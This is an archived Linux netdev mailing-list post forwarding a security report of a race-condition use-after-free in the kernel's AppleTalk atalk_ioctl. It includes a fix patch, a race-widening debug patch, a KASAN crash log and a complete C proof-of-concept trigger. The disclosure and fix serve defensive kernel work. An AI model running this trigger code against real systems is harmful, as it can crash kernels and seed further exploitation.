lists.openwall.net   lists  /  announce  owl-users  owl-dev  john-users  john-dev  passwdqc-users  yescrypt  popa3d-users  /  oss-security  kernel-hardening  musl  sabotage  tlsify  passwords  /  crypt-dev  xvendor  /  Bugtraq  Full-Disclosure  linux-kernel  linux-netdev  linux-ext4  linux-hardening  linux-cve-announce  PHC 
Open Source and information security mailing list archives
 
Hash Suite: Windows password security audit tool. GUI, reports in PDF.
[<prev] [next>] [day] [month] [year] [list]
Message-ID: <20231007063736.GV20998@1wt.eu>
Date: Sat, 7 Oct 2023 08:37:36 +0200
From: Willy Tarreau <w@....eu>
To: netdev@...r.kernel.org
Cc: rootlab@...wei.com
Subject: Fwd: Race Condition Vulnerability in atalk_ioctl of nfc module
 leading to UAF

Hello,

Sili Luo of Huawei sent this to the security list. Eric and I think it
does not deserve special handling from the security team and will be
better addressed here.

Regards,
Willy

PS: there are 6 reports for atalk in this series.

----- Forwarded message from rootlab <rootlab@...wei.com> -----

> Date: Sat, 7 Oct 2023 03:11:19 +0000
> From: rootlab <rootlab@...wei.com>
> Subject: Race Condition Vulnerability in atalk_ioctl of nfc module leading to UAF
> To: "security@...nel.org" <security@...nel.org>
> Delivered-To: security@...nel.org
> 
> I recently found an race condition Vulnerability in the atalk_ioctl, which leads to the kernel access free'd skb pointer.
> 
> The vulnerability code presented below is located in Linux 6.5-rc5, and it is possible that other versions may also be affected.
> 
> [Root Cause]
> 
> when cmd = TIOCINQ, atalk_ioctl whill obtain skb through skb_peek and then read skb->len to userspace.
> 
> atalk_ioctl don't hold any locks.
> 
> static int atalk_ioctl(struct socket *sock, unsigned int cmd, unsigned long arg)
> {
>         int rc = -ENOIOCTLCMD;
>         struct sock *sk = sock->sk;
>         void __user *argp = (void __user *)arg;
> 
>         switch (cmd) {
>         case TIOCINQ: {
>                 struct sk_buff *skb = skb_peek(&sk->sk_receive_queue);
>                 long amount = 0;
>                 if (skb)
>                         amount = skb->len - sizeof(struct ddpehdr);
>                 rc = put_user(amount, (int __user *)argp);
>                 break;
>         }
> 
> 
> skb_peek returns the head node of the sk->sk_receive_queue linked list, but it does not increase the reference count of the skb.
> 
> static inline struct sk_buff *skb_peek(const struct sk_buff_head *list_)
> {
>         struct sk_buff *skb = list_->next;
> 
>         if (skb == (struct sk_buff *)list_)
>                 skb = NULL;
>         return skb;
> }
> 
> 
> atalk_recvmsg fetches the skb from sk->sk_receive_queue and then free the skb by skb_free_datagram.
> 
> static int atalk_recvmsg(struct sock *sk, struct msghdr *msg, size_t len,
>                       int flags, int *addr_len)
> {
>         struct sk_buff *skb = NULL;
>         skb = skb_recv_datagram(sk, flags, &rval);
>     lock_sock(sk);
>         .......
> 
>         skb_free_datagram(sk, skb);  // free skb
>     release_sock(sk);
>         return rval;
> }
> 
> 
> steps to trigger the bug:
> 
>   1.  thread A enter atalk_ioctl and get skb by skb_peek.
>   2.  thread B use atalk_recvmsg free the skb
>   3.  thread A read skb->len, but now skb has been released
> 
>                                          Time
>                                           +
>                                           |
>   thread A                                | thread B
>   atalk_ioctl                             | atalk_recvmsg
>                                           |
>     skb = skb_peek(&sk->sk_receive_queue) |
>                                           |
>                                           |
>                                           |     skb_free_datagram(sk, skb);  // free skb
>                                           |
>                                           |
>     amount = skb->len - xxx;              |
>                                           |
>                                           +
> 
> 
> [Patch Suggestion]
> 
> atalk_ioctl needs to obtain the sk->sk_receive_queue.lock when read skb.
> 
> From 6e1af54bd4045660a8f2f42e1628fdbbcfb47b79 Mon Sep 17 00:00:00 2001
> From: luosili <rootlab@...wei.com>
> Date: Wed, 27 Sep 2023 18:13:13 +0800
> Subject: [PATCH] appletalk: fix uaf in atalk_ioctl
> 
> hold sk->sk_receive_queue.lock in atalk_ioctl
> to prevent other thread free skb.
> 
> Signed-off-by: luosili <rootlab@...wei.com>
> ---
>  net/appletalk/ddp.c | 3 ++-
>  1 file changed, 2 insertions(+), 1 deletion(-)
> 
> diff --git a/net/appletalk/ddp.c b/net/appletalk/ddp.c
> index 8978fb6212ff..219bf2e89814 100644
> --- a/net/appletalk/ddp.c
> +++ b/net/appletalk/ddp.c
> @@ -1790,7 +1790,6 @@ static int atalk_recvmsg(struct socket *sock, struct msghdr *msg, size_t size,
>         return err ? : copied;
>  }
> 
> -
>  /*
>   * AppleTalk ioctl calls.
>   */
> @@ -1815,12 +1814,14 @@ static int atalk_ioctl(struct socket *sock, unsigned int cmd, unsigned long arg)
>                  * These two are safe on a single CPU system as only
>                  * user tasks fiddle here
>                  */
> +               spin_lock_bh(&sk->sk_receive_queue.lock);
>                 struct sk_buff *skb = skb_peek(&sk->sk_receive_queue);
>                 long amount = 0;
> 
>                 if (skb)
>                         amount = skb->len - sizeof(struct ddpehdr);
>                 rc = put_user(amount, (int __user *)argp);
> +               spin_unlock_bh(&sk->sk_receive_queue.lock);
>                 break;
>         }
>         /* Routing */
> --
> 2.25.1
> 
> 
> 
> [Proof-of-Concept]
> 
> The POC is at the end of the email.
> 
> Test Environment:qemu x86_64 + linux 6.5-rc5 + kasan
> 
> To increase the probability of race, I add some loops to the race part of the code ( pn_ioctl ) to increase the time window.
> 
> the dxxx() function just do some loop to increase the time window.
> 
> From ac85eb34db26539370628277787ce5dacdae2186 Mon Sep 17 00:00:00 2001
> From: luosili <rootlab@...wei.com>
> Date: Wed, 27 Sep 2023 18:15:20 +0800
> Subject: [PATCH] appletalk: patch for race in atalk_ioctl
> 
> add some loops in the race code.
> 
> Signed-off-by: luosili <rootlab@...wei.com>
> ---
>  net/appletalk/ddp.c | 15 +++++++++++++++
>  1 file changed, 15 insertions(+)
> 
> diff --git a/net/appletalk/ddp.c b/net/appletalk/ddp.c
> index 8978fb6212ff..6343fa64c413 100644
> --- a/net/appletalk/ddp.c
> +++ b/net/appletalk/ddp.c
> @@ -1790,6 +1790,18 @@ static int atalk_recvmsg(struct socket *sock, struct msghdr *msg, size_t size,
>         return err ? : copied;
>  }
> 
> +#pragma GCC push_options
> +#pragma GCC optimize ("O0")
> +noinline u64 dxxx(void)
> +{
> +       u64 xxx = 0;
> +       for (size_t i = 0; i < 100000000; i++) {
> +               xxx *= 0x241;
> +               xxx += 0x1234;
> +       }
> +       return xxx;
> +}
> +#pragma GCC pop_options
> 
>  /*
>   * AppleTalk ioctl calls.
> @@ -1818,6 +1830,9 @@ static int atalk_ioctl(struct socket *sock, unsigned int cmd, unsigned long arg)
>                 struct sk_buff *skb = skb_peek(&sk->sk_receive_queue);
>                 long amount = 0;
> 
> +               printk("vuln: [atalk_ioctl] %llx\n", (uint64_t)skb);
> +               dxxx();
> +
>                 if (skb)
>                         amount = skb->len - sizeof(struct ddpehdr);
>                 rc = put_user(amount, (int __user *)argp);
> --
> 2.25.1
> 
> 
> 
> panic log
> 
> # /tmp/skb_uaf
> fd: 3
> 22222
> [ 5267.635684] vuln: [atalk_sendmsg] sk:ffff88800b1d7000
> [ 5267.636647] vuln: [atalk_sendmsg] ffff8880079ea6c0
> [ 5268.085176] vuln: [atalk_sendmsg] do use ffff8880079ea6c0
> [ 5268.085946] [atalk_rcv]
> [ 5268.086133] [atalk_search_socket] iter sk ffff88800b1d7000 80 c 3
> Packet sent successfully.
> [ 5268.103226] vuln: [atalk_ioctl] ffff88800f53cb40
> [ 5268.122994] vuln: [atalk_recvmsg] sk:ffff88800b1d7000
> [ 5268.559316] ==================================================================
> [ 5268.559851] BUG: KASAN: slab-use-after-free in atalk_ioctl+0x1ce/0x210 [appletalk]
> [ 5268.560454] Read of size 4 at addr ffff88800f53cbb0 by task skb_uaf/363
> [ 5268.560926]
> [ 5268.561062] CPU: 1 PID: 363 Comm: skb_uaf Tainted: G           OE      6.5.0-rc5 #7
> [ 5268.561607] Hardware name: QEMU Standard PC (i440FX + PIIX, 1996), BIOS 1.13.0-1ubuntu1.1 04/01/2014
> [ 5268.562251] Call Trace:
> [ 5268.562438]  <TASK>
> [ 5268.562592]  dump_stack_lvl+0x4c/0x70
> [ 5268.562883]  print_report+0xd3/0x620
> [ 5268.563156]  ? kasan_complete_mode_report_info+0x7d/0x200
> [ 5268.563554]  ? atalk_ioctl+0x1ce/0x210 [appletalk]
> [ 5268.563917]  kasan_report+0xc2/0x100
> [ 5268.564182]  ? atalk_ioctl+0x1ce/0x210 [appletalk]
> [ 5268.564545]  __asan_load4+0x84/0xb0
> [ 5268.564805]  atalk_ioctl+0x1ce/0x210 [appletalk]
> [ 5268.565157]  sock_do_ioctl+0xb9/0x1a0
> [ 5268.565433]  ? hrtimer_active+0x86/0xc0
> [ 5268.565731]  ? __pfx_sock_do_ioctl+0x10/0x10
> [ 5268.566046]  ? hrtimer_try_to_cancel+0x74/0x1e0
> [ 5268.566378]  ? __pfx_hrtimer_try_to_cancel+0x10/0x10
> [ 5268.566732]  ? kfree+0x7a/0x120
> [ 5268.566980]  sock_ioctl+0x1b1/0x420
> [ 5268.567235]  ? __pfx_do_nanosleep+0x10/0x10
> [ 5268.567552]  ? __pfx_sock_ioctl+0x10/0x10
> [ 5268.567847]  ? hrtimer_nanosleep+0x129/0x220
> [ 5268.568159]  ? __pfx_hrtimer_nanosleep+0x10/0x10
> [ 5268.568494]  do_vfs_ioctl+0x42c/0xd00
> [ 5268.568755]  ? __pfx_do_vfs_ioctl+0x10/0x10
> [ 5268.569045]  ? get_timespec64+0xb6/0x110
> [ 5268.569318]  ? __pfx_get_timespec64+0x10/0x10
> [ 5268.569625]  ? __kmalloc_node+0x68/0x160
> [ 5268.569906]  ? __pfx_restore_fpregs_from_fpstate+0x10/0x10
> [ 5268.570288]  ? common_nsleep+0x6b/0x80
> [ 5268.570555]  ? __kasan_check_write+0x18/0x20
> [ 5268.570860]  ? switch_fpu_return+0x9f/0x150
> [ 5268.571156]  ? exit_to_user_mode_prepare+0x9b/0x190
> [ 5268.571509]  ? __rcu_read_unlock+0x5b/0x280
> [ 5268.571809]  ? __fget_light+0x1ca/0x1f0
> [ 5268.572087]  __x64_sys_ioctl+0x95/0x110
> [ 5268.572359]  do_syscall_64+0x60/0x90
> [ 5268.572616]  ? syscall_exit_to_user_mode+0x2a/0x50
> [ 5268.572952]  ? ret_from_fork+0x2d/0x70
> [ 5268.573218]  entry_SYSCALL_64_after_hwframe+0x6e/0xd8
> [ 5268.573576] RIP: 0033:0x45deab
> [ 5268.573800] Code: 0f 92 c0 84 c0 75 b0 49 8d 3c 1c e8 5f f3 02 00 85 c0 78 b1 48 83 c4 08 4c 89 e0 5b 41 5c c3 f3 0f 1e fa b8 10 00 00 00 0f 05 <48> 3d 01 f0 ff ff 73 01 c3 48 c7 c1 b8 ff ff ff f7 d8 64 89 01 48
> [ 5268.575054] RSP: 002b:00007fd74895bd98 EFLAGS: 00000202 ORIG_RAX: 0000000000000010
> [ 5268.575599] RAX: ffffffffffffffda RBX: 0000000000000000 RCX: 000000000045deab
> [ 5268.576090] RDX: 00007fd74895bda0 RSI: 000000000000541b RDI: 0000000000000004
> [ 5268.576572] RBP: 00007fd74895bdb0 R08: 0000000000000000 R09: 00007fd74895c700
> [ 5268.577058] R10: 0000000000000000 R11: 0000000000000202 R12: 00007ffcc2ea134e
> [ 5268.577550] R13: 00007ffcc2ea134f R14: 00007ffcc2ea1350 R15: 00007fd74895be80
> [ 5268.578041]  </TASK>
> [ 5268.578208]
> [ 5268.578325] Allocated by task 361:
> [ 5268.578572]  kasan_save_stack+0x2a/0x50
> [ 5268.578859]  kasan_set_track+0x29/0x40
> [ 5268.579140]  kasan_save_alloc_info+0x1f/0x30
> [ 5268.579439]  __kasan_slab_alloc+0x91/0xa0
> [ 5268.579736]  kmem_cache_alloc_node+0x1a1/0x570
> [ 5268.580050]  __alloc_skb+0x1f0/0x270
> [ 5268.580310]  alloc_skb_with_frags+0x65/0x340
> [ 5268.580614]  sock_alloc_send_pskb+0x4e4/0x520
> [ 5268.580922]  atalk_sendmsg+0x403/0xc70 [appletalk]
> [ 5268.581286]  sock_sendmsg+0xef/0x100
> [ 5268.581537]  __sys_sendto+0x1bd/0x270
> [ 5268.581796]  __x64_sys_sendto+0x84/0xa0
> [ 5268.582066]  do_syscall_64+0x60/0x90
> [ 5268.582320]  entry_SYSCALL_64_after_hwframe+0x6e/0xd8
> [ 5268.582666]
> [ 5268.582780] Freed by task 362:
> [ 5268.582997]  kasan_save_stack+0x2a/0x50
> [ 5268.583272]  kasan_set_track+0x29/0x40
> [ 5268.583543]  kasan_save_free_info+0x2f/0x50
> [ 5268.583833]  __kasan_slab_free+0x12e/0x1c0
> [ 5268.584118]  kmem_cache_free+0x235/0x4f0
> [ 5268.584391]  kfree_skbmem+0x74/0xf0
> [ 5268.584641]  consume_skb+0x69/0x140
> [ 5268.584887]  skb_free_datagram+0x15/0x20
> [ 5268.585166]  atalk_recvmsg+0x17c/0x2b0 [appletalk]
> [ 5268.585513]  sock_recvmsg+0xfa/0x100
> [ 5268.585769]  __sys_recvfrom+0x161/0x230
> [ 5268.586039]  __x64_sys_recvfrom+0x84/0xa0
> [ 5268.586320]  do_syscall_64+0x60/0x90
> [ 5268.586575]  entry_SYSCALL_64_after_hwframe+0x6e/0xd8
> [ 5268.586923]
> [ 5268.587038] The buggy address belongs to the object at ffff88800f53cb40
> [ 5268.587038]  which belongs to the cache skbuff_head_cache of size 232
> [ 5268.587930] The buggy address is located 112 bytes inside of
> [ 5268.587930]  freed 232-byte region [ffff88800f53cb40, ffff88800f53cc28)
> [ 5268.588751]
> [ 5268.588866] The buggy address belongs to the physical page:
> [ 5268.589249] page:00000000b8b7362a refcount:1 mapcount:0 mapping:0000000000000000 index:0x0 pfn:0xf53c
> [ 5268.589899] head:00000000b8b7362a order:1 entire_mapcount:0 nr_pages_mapped:0 pincount:0
> [ 5268.590444] flags: 0xfffffc0010200(slab|head|node=0|zone=1|lastcpupid=0x1fffff)
> [ 5268.590958] page_type: 0xffffffff()
> [ 5268.591211] raw: 000fffffc0010200 ffff888006aa4c80 dead000000000122 0000000000000000
> [ 5268.591752] raw: 0000000000000000 0000000080190019 00000001ffffffff 0000000000000000
> [ 5268.592267] page dumped because: kasan: bad access detected
> [ 5268.592647]
> [ 5268.592761] Memory state around the buggy address:
> [ 5268.593090]  ffff88800f53ca80: fc fc fc fc fc fc fc fc fc fc fc fc fc fc fc fc
> [ 5268.593584]  ffff88800f53cb00: fc fc fc fc fc fc fc fc fa fb fb fb fb fb fb fb
> [ 5268.594075] >ffff88800f53cb80: fb fb fb fb fb fb fb fb fb fb fb fb fb fb fb fb
> [ 5268.594567]                                      ^
> [ 5268.594897]  ffff88800f53cc00: fb fb fb fb fb fc fc fc fc fc fc fc fc fc fc fc
> [ 5268.595392]  ffff88800f53cc80: fc fc fc fc fc fc fc fc fc fc fc fc fc fc fc fc
> [ 5268.595890] ==================================================================
> [ 5268.596403] Disabling lock debugging due to kernel taint
> use done
> [ 5269.598135] vuln: [atalk_release] sk:ffff88800b1d7000
> [ 5269.599386] vuln: [atalk_release] sk:ffff88800b1d5000
> #
> 
> 
> [CREDIT]
> 
> Sili Luo
> RO0T Lab of Huawei
> 
> poc
> 
> #define _GNU_SOURCE
> #include <errno.h>
> #include <fcntl.h>
> #include <linux/atalk.h>
> #include <linux/if_tun.h>
> #include <net/if.h>
> #include <pthread.h>
> #include <sched.h>
> #include <stdio.h>
> #include <string.h>
> #include <sys/ioctl.h>
> #include <sys/socket.h>
> #include <sys/stat.h>
> #include <sys/types.h>
> #include <time.h>
> #include <unistd.h>
> 
> #include <net/route.h>
> 
> #include <linux/if_ether.h>
> #include <linux/if_packet.h>
> #include <linux/if_x25.h>
> #include <stdio.h>
> #include <stdlib.h>
> #include <string.h>
> #include <sys/socket.h>
> #include <unistd.h>
> 
> #include <linux/if_ether.h>
> #include <linux/if_packet.h>
> #include <linux/if_x25.h>
> #include <stdio.h>
> #include <stdlib.h>
> #include <string.h>
> #include <sys/socket.h>
> #include <unistd.h>
> 
> #include <arpa/inet.h>
> #include <linux/if_packet.h>
> #include <net/ethernet.h>
> #include <netinet/if_ether.h>
> #include <netinet/in.h>
> #include <netinet/ip.h>
> #include <stdio.h>
> #include <stdlib.h>
> #include <string.h>
> #include <sys/socket.h>
> 
> void pincpu(int cpu) {
>   cpu_set_t set;
>   CPU_ZERO(&set);
>   CPU_SET(cpu, &set);
>   if (sched_setaffinity(0, sizeof(cpu_set_t), &set) < 0) {
>     perror("setaffinity");
>   }
> }
> 
> int at_fd;
> 
> #define THREAD_NUMS 2
> pthread_barrier_t barrier;
> 
> #define ETH_P_X25 0x0805
> int xxx_raw_fd = 0;
> 
> void free_thread() {
>   pincpu(0);
> 
>   srand(time(NULL));
> 
>   struct sockaddr_at addr = {0};
>   addr.sat_family = AF_APPLETALK;    // ?????
>   addr.sat_addr.s_net = htons(0x20); // ????
>   addr.sat_addr.s_node = 0;
>   addr.sat_port = 0;
> 
>   usleep(35000);
> 
>   struct sockaddr_at ssa = {0};
> 
>   ssa.sat_addr.s_node = 0;
>   ssa.sat_addr.s_net = 0;
>   ssa.sat_family = PF_APPLETALK;
> 
>   char buf[200];
>   recvfrom(xxx_raw_fd, buf, 200, 0, (void *)&addr, sizeof(addr));
> }
> 
> void use_thread() {
>   pincpu(1);
>   uint64_t x;
>   usleep(15000);
>   ioctl(xxx_raw_fd, TIOCINQ, &x);
>   puts("use done");
> }
> 
> #include <linux/atalk.h>
> #include <stdio.h>
> #include <stdlib.h>
> #include <string.h>
> #include <sys/socket.h>
> #include <sys/types.h>
> struct aarp_packet {
>   uint16_t hardware_type;             /* ???? */
>   uint16_t protocol_type;             /* ???? */
>   uint8_t hardware_length;            /* ?????? */
>   uint8_t protocol_length;            /* ?????? */
>   uint16_t operation;                 /* ???? */
>   uint8_t sender_hardware_address[6]; /* ??????? */
>   uint8_t sender_protocol_address[4]; /* ??????? */
>   uint8_t target_hardware_address[6]; /* ?????? */
>   uint8_t target_protocol_address[4]; /* ?????? */
> };
> 
> int send3() {
>   /* ????? */
>   int sockfd = socket(AF_APPLETALK, SOCK_DGRAM, 0);
>   if (sockfd < 0) {
>     perror("socket error");
>     exit(EXIT_FAILURE);
>   }
> 
>   /* ????????????? */
>   struct sockaddr_at sa;
>   memset(&sa, 0, sizeof(sa));
>   sa.sat_family = AF_APPLETALK;
>   sa.sat_port = htons(0);
>   sa.sat_addr.s_net = 0x0000;
>   sa.sat_addr.s_node = 0x0000;
>   if (bind(sockfd, (struct sockaddr *)&sa, sizeof(sa)) < 0) {
>     perror("bind error");
>     exit(EXIT_FAILURE);
>   }
> 
>   /* ?? AARP_REQUEST ?? */
>   struct aarp_packet packet;
>   memset(&packet, 0, sizeof(packet));
>   packet.hardware_type = htons(0);
>   packet.protocol_type = htons(1);
>   packet.hardware_length = 2;
>   packet.protocol_length = 3;
>   packet.operation = htons(4);
>   packet.sender_hardware_address[0] = 0x11;
>   packet.sender_hardware_address[1] = 0x22;
>   packet.sender_hardware_address[2] = 0x33;
>   packet.sender_hardware_address[3] = 0x44;
>   packet.sender_hardware_address[4] = 0x55;
>   packet.sender_hardware_address[5] = 0x66;
>   packet.sender_protocol_address[0] = 192;
>   packet.sender_protocol_address[1] = 168;
>   packet.sender_protocol_address[2] = 1;
>   packet.sender_protocol_address[3] = 1;
>   packet.target_hardware_address[0] = 0x00;
>   packet.target_hardware_address[1] = 0x00;
>   packet.target_hardware_address[2] = 0x00;
>   packet.target_hardware_address[3] = 0x00;
>   packet.target_hardware_address[4] = 0x00;
>   packet.target_hardware_address[5] = 0x00;
>   packet.target_protocol_address[0] = 192;
>   packet.target_protocol_address[1] = 168;
>   packet.target_protocol_address[2] = 1;
>   packet.target_protocol_address[3] = 2;
> 
>   /* ?? AARP_REQUEST ?? */
>   struct sockaddr_at dest;
>   memset(&dest, 0, sizeof(dest));
>   dest.sat_family = AF_APPLETALK;
>   dest.sat_port = htons(0);
>   dest.sat_addr.s_net = htons(0x20);
>   dest.sat_addr.s_node = 0x0000;
>   if (sendto(sockfd, &packet, sizeof(packet), 0, (struct sockaddr *)&dest,
>              sizeof(dest)) < 0) {
>     perror("sendto error");
>     exit(EXIT_FAILURE);
>   }
> 
>   /* ????? */
>   close(sockfd);
> 
>   return 0;
> }
> 
> int send_pkt2() {
> 
>   int sockfd;
>   struct sockaddr_ll sa;
>   struct ether_header eth_header;
>   struct iphdr ip_header;
>   char packet[ETH_FRAME_LEN];
>   char *interface = "lo"; // Replace with your desired interface name
> 
>   // Create socket
>   sockfd = socket(PF_APPLETALK, SOCK_RAW, htons(ETH_P_ATALK));
>   xxx_raw_fd = sockfd;
>   if (sockfd == -1) {
>     perror("socket");
>     return 1;
>   }
> 
>   // Set interface index
>   memset(&sa, 0, sizeof(struct sockaddr_ll));
>   sa.sll_family = PF_APPLETALK;
>   sa.sll_protocol = htons(ETH_P_ATALK);
>   sa.sll_ifindex = if_nametoindex(interface);
> 
>   struct sockaddr_at ssa = {0};
> 
>   ssa.sat_addr.s_node = 0;
>   ssa.sat_addr.s_net = htons(0x20);
>   ssa.sat_family = PF_APPLETALK;
>   ssa.sat_port = 0x80;
> 
>   // Set Ethernet header
>   memset(&eth_header, 0, sizeof(struct ether_header));
>   eth_header.ether_shost[0] = 0x00; // Source MAC address
>   eth_header.ether_shost[1] = 0x11;
>   eth_header.ether_shost[2] = 0x22;
>   eth_header.ether_shost[3] = 0x33;
>   eth_header.ether_shost[4] = 0x44;
>   eth_header.ether_shost[5] = 0x55;
>   eth_header.ether_dhost[0] = 0x66; // Destination MAC address
>   eth_header.ether_dhost[1] = 0x77;
>   eth_header.ether_dhost[2] = 0x88;
>   eth_header.ether_dhost[3] = 0x99;
>   eth_header.ether_dhost[4] = 0xAA;
>   eth_header.ether_dhost[5] = 0xBB;
>   eth_header.ether_type = htons(ETH_P_ATALK);
> 
>   // Set IP header
>   memset(&ip_header, 0x22, sizeof(struct iphdr));
> 
>   memcpy(packet, &eth_header, sizeof(struct ether_header));
> 
>   uint8_t *ptr = packet + sizeof(struct ether_header);
> 
>   *(uint64_t *)ptr = 0x11223344;
> 
>   // Send the packet
>   if (sendto(sockfd, packet, sizeof(struct ether_header) + 4, 0,
>              (struct sockaddr *)&ssa, sizeof(struct sockaddr_ll)) == -1) {
>     perror("sendto");
>     return 1;
>   }
> 
>   printf("Packet sent successfully.\n");
>   return 0;
> }
> 
> int main() {
>   struct ifreq atreq = {0};
> 
>   at_fd = socket(PF_APPLETALK, SOCK_DGRAM, 0);
>   printf("fd: %d\n", at_fd);
> 
>   strcpy(atreq.ifr_ifrn.ifrn_name, "lo");
> 
>   struct sockaddr_at *sa = (struct sockaddr_at *)&atreq.ifr_addr;
> 
>   sa->sat_family = AF_APPLETALK;
>   struct atalk_netrange *nr = (struct atalk_netrange *)&sa->sat_zero[0];
>   nr->nr_phase = 2;
>   sa->sat_addr.s_node = 3;
>   sa->sat_addr.s_net = 12;
> 
>   ioctl(at_fd, SIOCDIFADDR, &atreq);
> 
>   sa = (struct sockaddr_at *)&atreq.ifr_addr;
> 
>   sa->sat_family = AF_APPLETALK;
>   nr = (struct atalk_netrange *)&sa->sat_zero[0];
>   nr->nr_phase = 2;
>   sa->sat_addr.s_node = 3;
>   sa->sat_addr.s_net = 12;
> 
>   nr->nr_lastnet = htons(0x21);
>   nr->nr_firstnet = htons(0x20);
> 
>   ioctl(at_fd, SIOCSIFADDR, &atreq);
> 
>   struct rtentry rt = {0};
>   char name[] = "lo";
>   rt.rt_dev = name;
> 
>   struct sockaddr_at *ta = (struct sockaddr_at *)&rt.rt_dst;
>   struct sockaddr_at *ga = (struct sockaddr_at *)&rt.rt_gateway;
>   ta->sat_family = AF_APPLETALK;
>   ga->sat_family = AF_APPLETALK;
>   ta->sat_addr.s_net = 0x33;
>   ta->sat_addr.s_node = 0x32;
>   // ioctl(at_fd, SIOCADDRT, &rt);
> 
>   struct sockaddr_at addr = {0};
>   addr.sat_family = AF_APPLETALK;    // ?????
>   addr.sat_addr.s_net = htons(0x20); // ????
>   addr.sat_addr.s_node = 0;
>   addr.sat_port = 0;
>   int bind_res = bind(at_fd, (struct sockaddr *)&addr, sizeof(addr));
> 
>   puts("22222");
>   send_pkt2();
> 
>   pthread_barrier_init(&barrier, NULL, THREAD_NUMS);
> 
>   pthread_t ids[2] = {0};
>   pthread_create(&ids[0], NULL, (void *)free_thread, NULL);
>   pthread_create(&ids[1], NULL, (void *)use_thread, NULL);
> 
>   pthread_join(ids[0], NULL);
>   pthread_join(ids[1], NULL);
> 
>   sleep(1);
> }
> 
> 

----- End forwarded message -----

Powered by blists - more mailing lists

Powered by Openwall GNU/*/Linux Powered by OpenVZ